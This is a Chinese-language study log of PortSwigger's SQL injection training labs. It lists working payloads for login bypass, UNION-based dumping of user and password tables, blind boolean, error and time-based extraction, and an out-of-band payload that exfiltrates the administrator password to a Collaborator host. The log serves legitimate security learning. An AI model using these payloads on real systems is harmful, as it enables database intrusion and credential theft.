靶场链接
https://portswigger.net/web-security/all-labs
sql注入payload速查表
https://portswigger.net/web-security/sql-injection/cheat-sheet
SQL注入
WHERE 子句中的 SQL 注入漏洞允许检索隐藏数据
进入lab,点击类别
xia_sql显示√,说明有可能有sql注入
直接往参数后拼' or 1=1--+即可
SQL注入漏洞允许绕过登录
进入lab,点击my account
登录框,随便输入
无加密,结合题目,直接在password后面拼接' or 1=1--+即可
SQL注入攻击,查询Oracle数据库类型和版本
进入lab,点击类别
xia_sql探测到可能有注入,把报文发到重放模块
分别拼接'+and+1=1--+和'+and+1=0--+,根据返回包判断有sql注入(1=1有内容返回,1=0无具体内容返回)
拼接' order by 3--+,此时恰好报错,说明原sql语句返回两列内容
使用union联合查询来读数据库版本,从提示那里得知oracle有一个内置表名dual
拼接 '+union+select+'1','2'+from+dual--+
通过官方wp得知oracle查询数据库版本的payload:'+UNION+SELECT+BANNER,+NULL+FROM+v$version--
SQL注入攻击,查询MySQL和Microsoft的数据库类型和版本
进入lab,点击类别
xia_sql报注入
跟上个lab的步骤一样
最后payload:'+union+select+version(),null--+
SQL 注入攻击,列出非 Oracle 数据库上的数据库内容
跟上面一样的流程,但这个是PostgreSQL数据库。看了wp发现跟mysql的注入差不多
翻用户表,找出账号密码后登录即可解决该lab
SQL注入攻击,列出Oracle数据库内容
流程跟上一个lab一样,但是这个是oracle数据库,sql语句不同
burp提供了sql注入速查表:https://portswigger.net/web-security/sql-injection/cheat-sheet
该lab对应payload:'+union+select+table_name,null+from+all_tables--+
查列名:'+union+select+column_name,null+from+all_tab_columns+where+table_name='USERS_UKRTOL'--+
爆数据:'+union+select+USERNAME_AGHKAC,PASSWORD_YKZZVQ+from+USERS_UKRTOL--+
拿到账号密码登录即可
SQL 注入 UNION 攻击,确定查询返回的列数
一开始用的order by来判断,一直过不了,看了wp
SQL 注入 UNION 攻击,查找包含文本的列
一开始用的是mysql的语法' union select 1,2,3--+,一直报错,看了wp才知道要用null来判断才准确
SQL 注入 UNION 攻击,从其他表检索数据
先查数据库版本,'+union+select+version(),null--+
得知是PostgreSQL,用对应语法去利用
select+table_name,null+from+information_schema.tables--+
select+column_name,null+from+information_schema.columns+where+table_name='users'--+
select+username,password+from+users--+
SQL 注入 UNION 攻击,检索单个列中的多个值
跟上一个lab一个流程
只有一列是可以显示数据的,用concat拼接一次性返回用户名和密码
select+concat(username,'%',password)+from+users
带条件响应的盲 SQL 注入
看了wp,注入点在cookie里。盲注还是很麻烦的
TrackingId=xyz' AND '1'='1
TrackingId=xyz' AND '1'='2
TrackingId=xyz' AND (SELECT 'a' FROM users LIMIT 1)='a
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator')='a
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)=20)='a
TrackingId=xyz' AND (SELECT SUBSTRING(password,§1§,1) FROM users WHERE username='administrator')='§a§
选择cluster bomb模式第一个payload选择number从1到20,第二个payload选simplelist导入小写字母+数字的字典,跑完后先点击payload1从小到大排序,再点击返回包排序就可以看清每一位的密码
带有条件错误的盲 SQL 注入
单个单引号返回包变小,两个单引号返回包正常,判断有sql注入点。用常规的and 1=0判断不出来,看了wp,学到了'||(SELECT '' FROM dual)||'
'||(select '' from users)||',报错,还以为没有users表,看了wp才知道要加rownum=1来防止返回多行信息破坏连接。'||(select '' from users where rownum=1)||'
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'从users表中选取符合username为administrator的行匹配到了记录,意味着数据库找到了至少一条符合条件的记录。这时,CASE 语句中的 WHEN (1=1) 条件始终为真,因此会执行 THEN TO_CHAR(1/0)。由于 1/0 会导致除以零的错误,这将触发数据库的错误处理机制,导致一个错误。如果 FROM users WHERE username='administrator1' 没有找到任何匹配的记录,那么 CASE 语句中的条件仍然会被评估。但由于没有符合条件的记录,WHEN (1=1) 的条件虽然为真,但 THEN 子句并不会被执行,因为没有对应的记录来应用这个条件。所以存在username='administrator'的时候才会去评估when语句是否正确,不然一律执行else。
'||(SELECT CASE WHEN length(password)=20 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'判断password字段的长度,当length(password)跟实际长度相等时报错,这里可以判断password长度为20
可见的基于错误的 SQL 注入
在cookie那输入单引号,有报错信息
用报错注入的payload尝试一下
' AND 1=CAST((SELECT version()) AS int)--
' AND 1=CAST((SELECT username from users limit 1) AS int)--
' AND 1=CAST((SELECT password from users limit 1) AS int)--
具有时间延迟的盲 SQL 注入
使用and拼接一直不成功,看了wp要用||
SELECT * FROM your_table WHERE some_column = 'x' AND pg_sleep(10)--用AND拼接,pg_sleep(10)在where查询后,pgsql可能不支持这种写法。SELECT * FROM your_table WHERE some_column = 'x'||pg_sleep(10)--用||拼接,相当于先执行select语句,再执行pg_sleep(10)。
具有时间延迟和信息检索的盲 SQL 注入
'||(SELECT CASE WHEN substr(password,1,1)='a' THEN pg_sleep(5) ELSE pg_sleep(0) END from users where username='administrator')--
带外交互的盲 SQL 注入
官方wp,不知道怎么判断注入点,以后遇到参数就无端端的拼接payload
TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--
带外数据泄露的盲 SQL 注入
官方wp,带外注入的利用方式
TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--
通过 XML 编码绕过过滤器的 SQL 注入
漏洞点判断,进行四则运算观察返回结果
官方wp,
利用xml标签绕过waf